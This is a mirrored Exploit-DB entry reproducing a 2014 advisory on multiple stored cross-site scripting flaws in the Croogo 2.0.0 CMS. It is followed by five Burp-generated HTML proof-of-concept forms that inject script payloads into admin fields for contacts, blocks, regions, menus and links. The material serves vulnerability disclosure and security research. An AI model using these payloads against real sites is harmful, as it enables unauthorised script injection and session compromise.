bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
exploit-db-mirror/exploits/php/webapps/34959.txt
Offensive Security 36c084c351 DB: 2021-09-03 
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

210 lines
No EOL
8.7 KiB
Text
Raw Blame History

<<<
Croogo 2.0.0 Multiple Stored XSS Vulnerabilities
Vendor: Fahad Ibnay Heylaal
Product web page: http://www.croogo.org
Affected version: 2.0.0
Summary: Croogo is a free, open source, content management system
for PHP, released under The MIT License. It is powered by CakePHP
MVC framework.
Desc: Croogo version 2.0.0 suffers from multiple stored cross-site
scripting vulnerabilities. Input passed to several POST parameters
is not properly sanitised before being returned to the user. This
can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.
Tested on: Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Zero Science Lab - http://www.zeroscience.mk
Macedonian Information Security Research And Development Laboratory
Advisory ID: ZSL-2014-5201
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php
Vendor: http://blog.croogo.org/blog/croogo-210-released
26.07.2014
>>>
------------------------
(XSS #1)
--------
POST parameters:
- data[Contact][title]
------------------------
<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/contacts/contacts/add" method="POST">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[_Token][key]" value="2627e9e204ad6b878dbaf1c08d830c3e744d7e6e" />
<input type="hidden" name="data[Contact][id]" value="" />
<input type="hidden" name="data[Contact][title]" value=""><script>alert("XSS");</script>" />
<input type="hidden" name="data[Contact][alias]" value="test" />
<input type="hidden" name="data[Contact][email]" value="a@a.com" />
<input type="hidden" name="data[Contact][body]" value="" />
<input type="hidden" name="data[Contact][name]" value="" />
<input type="hidden" name="data[Contact][position]" value="" />
<input type="hidden" name="data[Contact][address]" value="" />
<input type="hidden" name="data[Contact][address2]" value="" />
<input type="hidden" name="data[Contact][state]" value="" />
<input type="hidden" name="data[Contact][country]" value="" />
<input type="hidden" name="data[Contact][postcode]" value="" />
<input type="hidden" name="data[Contact][phone]" value="" />
<input type="hidden" name="data[Contact][fax]" value="" />
<input type="hidden" name="data[Contact][message_status]" value="0" />
<input type="hidden" name="data[Contact][message_archive]" value="0" />
<input type="hidden" name="data[Contact][message_notify]" value="0" />
<input type="hidden" name="data[Contact][message_spam_protection]" value="0" />
<input type="hidden" name="data[Contact][message_captcha]" value="0" />
<input type="hidden" name="data[Contact][status]" value="0" />
<input type="hidden" name="data[_Token][fields]" value="262e37f00fdd538ab98d168114e8befb72ba27ff%3AContact.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
------------------------
(XSS #2)
--------
POST/PUT parameters:
- data[Block][title]
- data[Block][alias]
------------------------
<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/blocks/blocks/edit/10" method="POST">
<input type="hidden" name="_method" value="PUT" />
<input type="hidden" name="data[_Token][key]" value="bb5e47ab63281908e9783d9a20f66b7f56c573f3" />
<input type="hidden" name="data[Block][id]" value="10" />
<input type="hidden" name="data[Block][title]" value=""><script>alert(2);</script>" />
<input type="hidden" name="data[Block][alias]" value=""><script>alert(3);</script>" />
<input type="hidden" name="data[Block][region_id]" value="3" />
<input type="hidden" name="data[Block][body]" value="1" />
<input type="hidden" name="data[Block][class]" value="1" />
<input type="hidden" name="data[Block][element]" value="1" />
<input type="hidden" name="data[Role][Role]" value="" />
<input type="hidden" name="data[Block][visibility_paths]" value="" />
<input type="hidden" name="data[Block][params]" value="1" />
<input type="hidden" name="data[Block][status]" value="1" />
<input type="hidden" name="data[Block][show_title]" value="0" />
<input type="hidden" name="data[Block][show_title]" value="1" />
<input type="hidden" name="data[Block][publish_start]" value="0000-00-00 00:00:00" />
<input type="hidden" name="data[Block][publish_end]" value="0000-00-00 00:00:00" />
<input type="hidden" name="data[_Token][fields]" value="546f4a46648b8b32ea4c2b43a4a118ea7087e21b%3ABlock.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
------------------------
(XSS #3)
--------
POST parameters:
- data[Region][title]
------------------------
<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/blocks/regions/add" method="POST">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[_Token][key]" value="a7d62c8c34e2a6414c3657c43790645dfdd63735" />
<input type="hidden" name="data[Region][id]" value="" />
<input type="hidden" name="data[Region][title]" value=""><script>alert(11);</script>" />
<input type="hidden" name="data[Region][alias]" value="1" />
<input type="hidden" name="data[_Token][fields]" value="4020bcbfbf5ba648b159ec8a4e166f53c1b58aa4%3ARegion.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
------------------------
(XSS #4)
--------
POST parameters:
- data[Menu][title]
- data[Menu][alias]
------------------------
<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/menus/menus/add" method="POST">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[_Token][key]" value="253c5c67942b2d126c886c9ac7a62ebf065cf42b" />
<input type="hidden" name="data[Menu][id]" value="" />
<input type="hidden" name="data[Menu][title]" value=""><script>alert(22);</script>" />
<input type="hidden" name="data[Menu][alias]" value=""><script>alert(33);</script>" />
<input type="hidden" name="data[Menu][description]" value="ZSL" />
<input type="hidden" name="data[Menu][params]" value="1" />
<input type="hidden" name="data[Menu][status]" value="1" />
<input type="hidden" name="data[Menu][publish_start]" value="1" />
<input type="hidden" name="data[Menu][publish_end]" value="1" />
<input type="hidden" name="data[_Token][fields]" value="58685dc7a49f7617cffaa3a00ec4245516c5f9d3%3AMenu.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
------------------------
(XSS #5)
--------
POST parameters:
- data[Link][title]
------------------------
<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/menus/links/add/menu:6" method="POST">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[_Token][key]" value="736e7539497307010b8cb8e70c44ec8a9798d0fb" />
<input type="hidden" name="data[Link][id]" value="" />
<input type="hidden" name="data[Link][menu_id]" value="6" />
<input type="hidden" name="data[Link][parent_id]" value="" />
<input type="hidden" name="data[Link][title]" value=""><script>alert(1);</script>" />
<input type="hidden" name="data[Link][link]" value="1" />
<input type="hidden" name="data[Role][Role]" value="" />
<input type="hidden" name="data[Link][class]" value="scriptalert1script" />
<input type="hidden" name="data[Link][description]" value="" />
<input type="hidden" name="data[Link][rel]" value="" />
<input type="hidden" name="data[Link][target]" value="" />
<input type="hidden" name="data[Link][params]" value="" />
<input type="hidden" name="data[Link][status]" value="0" />
<input type="hidden" name="data[Link][publish_start]" value="" />
<input type="hidden" name="data[Link][publish_end]" value="" />
<input type="hidden" name="data[_Token][fields]" value="d662745abb348c763337f58c8c3c28bb1e8c014f%3ALink.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Reference in a new issue View git blame Copy permalink